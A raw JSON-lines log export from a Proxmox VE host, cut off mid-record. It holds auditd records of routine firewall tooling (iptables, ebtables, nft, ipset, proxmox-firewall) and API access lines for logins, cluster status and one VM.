{"@timestamp":1781965945308,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965945.308:67770): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc09287a90 a1=58b6ec705310 a2=58b6ec6fe680 a3=5 items=1 ppid=65080 pid=65081 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964608588,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:10:07 +0100] \"POST /api2/extjs/access/ticket HTTP/1.1\" 200 77"} {"@timestamp":1781966295737,"@rawstring":"node=pve type=EXECVE msg=audit(1781966295.737:69224): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964672665,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:11:11 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1083"} {"@timestamp":1781964265443,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964265.443:60296): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57896 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965627968,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:07 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964660182,"@rawstring":"node=pve type=EXECVE msg=audit(1781964660.182:62019): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966286054,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966286.054:69199): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66440 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155608,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966155.608:68658): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65932 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965944866,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965944.866:67762): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65074 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964604661,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:10:03 +0100] \"POST /api2/extjs/access/ticket HTTP/1.1\" 200 77"} {"@timestamp":1781966295734,"@rawstring":"node=pve type=EXECVE msg=audit(1781966295.734:69223): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964671644,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:11:10 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 473"} {"@timestamp":1781964265435,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964265.435:60295): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57895 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965627968,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:27:06 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1112"} {"@timestamp":1781964656887,"@rawstring":"node=pve type=EXECVE msg=audit(1781964656.887:62014): argc=3 a0=\"/usr/sbin/unix_chkpwd\" a1=\"root\" a2=\"nullok\""} {"@timestamp":1781966285667,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966285.667:69196): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5d46350e4e60 items=0 ppid=1156 pid=66439 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966150586,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966150.586:68654): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65927 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965944866,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965944.866:67761): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65074 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964594595,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:09:53 +0100] \"POST /api2/extjs/access/ticket HTTP/1.1\" 200 77"} {"@timestamp":1781966295734,"@rawstring":"node=pve type=EXECVE msg=audit(1781966295.734:69222): argc=1 a0=\"date\""} {"@timestamp":1781964668616,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:11:07 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1083"} {"@timestamp":1781964265429,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964265.429:60294): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57894 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965626780,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:06 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1102"} {"@timestamp":1781964656848,"@rawstring":"node=pve type=EXECVE msg=audit(1781964656.848:62012): argc=3 a0=\"/usr/sbin/unix_chkpwd\" a1=\"root\" a2=\"nullok\""} {"@timestamp":1781966285666,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966285.666:69195): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e0600 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66439 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966150586,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966150.586:68653): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65927 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965944855,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965944.855:67759): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65073 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964594595,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:09:53 +0100] \"POST /api2/extjs/access/ticket HTTP/1.1\" 200 77"} {"@timestamp":1781966295729,"@rawstring":"node=pve type=EXECVE msg=audit(1781966295.729:69220): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964667599,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:11:06 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 474"} {"@timestamp":1781964265425,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964265.425:60293): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5a0dd24de740 items=0 ppid=1156 pid=57893 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965626780,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:27:06 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781964656032,"@rawstring":"node=pve type=EXECVE msg=audit(1781964656.032:62011): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966285662,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966285.662:69194): arch=c000003e syscall=59 success=yes exit=0 a0=584629a77e90 a1=584629a74c10 a2=584629a56680 a3=5 items=2 ppid=66432 pid=66438 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966150577,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966150.577:68651): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65926 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965944855,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965944.855:67758): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65073 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964589946,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:09:48 +0100] \"POST /api2/extjs/access/ticket HTTP/1.1\" 200 77"} {"@timestamp":1781966295721,"@rawstring":"node=pve type=EXECVE msg=audit(1781966295.721:69219): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964666598,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:11:05 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 842"} {"@timestamp":1781964265423,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964265.423:60292): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0f4a70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57893 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965626780,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:05 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 926"} {"@timestamp":1781964656029,"@rawstring":"node=pve type=EXECVE msg=audit(1781964656.029:62010): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966285658,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966285.658:69193): arch=c000003e syscall=59 success=yes exit=0 a0=58461c7b2ac8 a1=7ffcf9584bd0 a2=584629a56680 a3=58461c79624e items=2 ppid=66432 pid=66434 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966150577,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966150.577:68650): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65926 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965939849,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965939.849:67754): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65068 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964582585,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:09:41 +0100] \"POST /api2/extjs/access/ticket HTTP/1.1\" 200 77"} {"@timestamp":1781966295718,"@rawstring":"node=pve type=EXECVE msg=audit(1781966295.718:69218): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964663688,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:11:03 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781964265416,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964265.416:60291): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ede40 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57892 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965624755,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:27:03 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1118"} {"@timestamp":1781964656028,"@rawstring":"node=pve type=EXECVE msg=audit(1781964656.028:62009): argc=1 a0=\"date\""} {"@timestamp":1781966285657,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966285.657:69192): arch=c000003e syscall=59 success=yes exit=0 a0=7ffcf9584b90 a1=584629a5d310 a2=584629a56680 a3=5 items=2 ppid=66432 pid=66433 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145784,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966145.784:68646): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe7712f910 a1=5d5475479200 a2=5d5475457680 a3=5 items=1 ppid=65919 pid=65920 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965939849,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965939.849:67753): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65068 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964579067,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:09:37 +0100] \"POST /api2/extjs/access/ticket HTTP/1.1\" 200 77"} {"@timestamp":1781966295712,"@rawstring":"node=pve type=EXECVE msg=audit(1781966295.712:69217): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964663688,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:11:02 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 462"} {"@timestamp":1781964265411,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964265.411:60290): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ed000 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57891 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965624755,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:03 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 941"} {"@timestamp":1781964656024,"@rawstring":"node=pve type=EXECVE msg=audit(1781964656.024:62007): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966285653,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966285.653:69190): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=66432 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145676,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966145.676:68628): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe7df04aa0 a1=5adb31492310 a2=5adb3148b680 a3=5 items=1 ppid=65900 pid=65901 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965939844,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965939.844:67751): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65067 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964575344,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:09:34 +0100] \"POST /api2/extjs/access/ticket HTTP/1.1\" 200 77"} {"@timestamp":1781966295706,"@rawstring":"node=pve type=EXECVE msg=audit(1781966295.706:69216): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964660661,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:10:59 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781964265406,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964265.406:60289): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f49e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57890 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965624755,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:03 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 512"} {"@timestamp":1781964656019,"@rawstring":"node=pve type=EXECVE msg=audit(1781964656.019:62006): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966285648,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966285.648:69189): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e1bb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66431 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145572,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966145.572:68620): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65894 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965939844,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965939.844:67750): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65067 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964570608,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:09:29 +0100] \"POST /api2/extjs/access/ticket HTTP/1.1\" 200 77"} {"@timestamp":1781966295700,"@rawstring":"node=pve type=EXECVE msg=audit(1781966295.700:69215): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964660661,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:10:59 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 848"} {"@timestamp":1781964265399,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964265.399:60288): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ed000 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57889 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965624755,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:03 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964656013,"@rawstring":"node=pve type=EXECVE msg=audit(1781964656.013:62005): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966285643,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966285.643:69188): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66430 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145572,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966145.572:68619): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65894 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965935249,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965935.249:67746): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc3c526da0 a1=5ec6af685180 a2=5ec6af663680 a3=5 items=1 ppid=65059 pid=65060 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964567280,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:09:26 +0100] \"POST /api2/extjs/access/ticket HTTP/1.1\" 200 77"} {"@timestamp":1781966295694,"@rawstring":"node=pve type=EXECVE msg=audit(1781966295.694:69214): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964659650,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:10:58 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 473"} {"@timestamp":1781964265395,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964265.395:60287): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ac8dd0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57888 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965623761,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:27:03 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781964656006,"@rawstring":"node=pve type=EXECVE msg=audit(1781964656.006:62004): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966285638,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966285.638:69187): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66429 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966145561,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966145.561:68617): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65893 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965935156,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965935.156:67728): arch=c000003e syscall=59 success=no exit=-2 a0=7fff654a1330 a1=5b5e221393d0 a2=5b5e22117680 a3=5 items=1 ppid=65040 pid=65041 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964563562,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:09:22 +0100] \"POST /api2/extjs/access/ticket HTTP/1.1\" 200 77"} {"@timestamp":1781966295688,"@rawstring":"node=pve type=EXECVE msg=audit(1781966295.688:69213): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964656634,"@rawstring":"::ffff:192.168.1.192 - 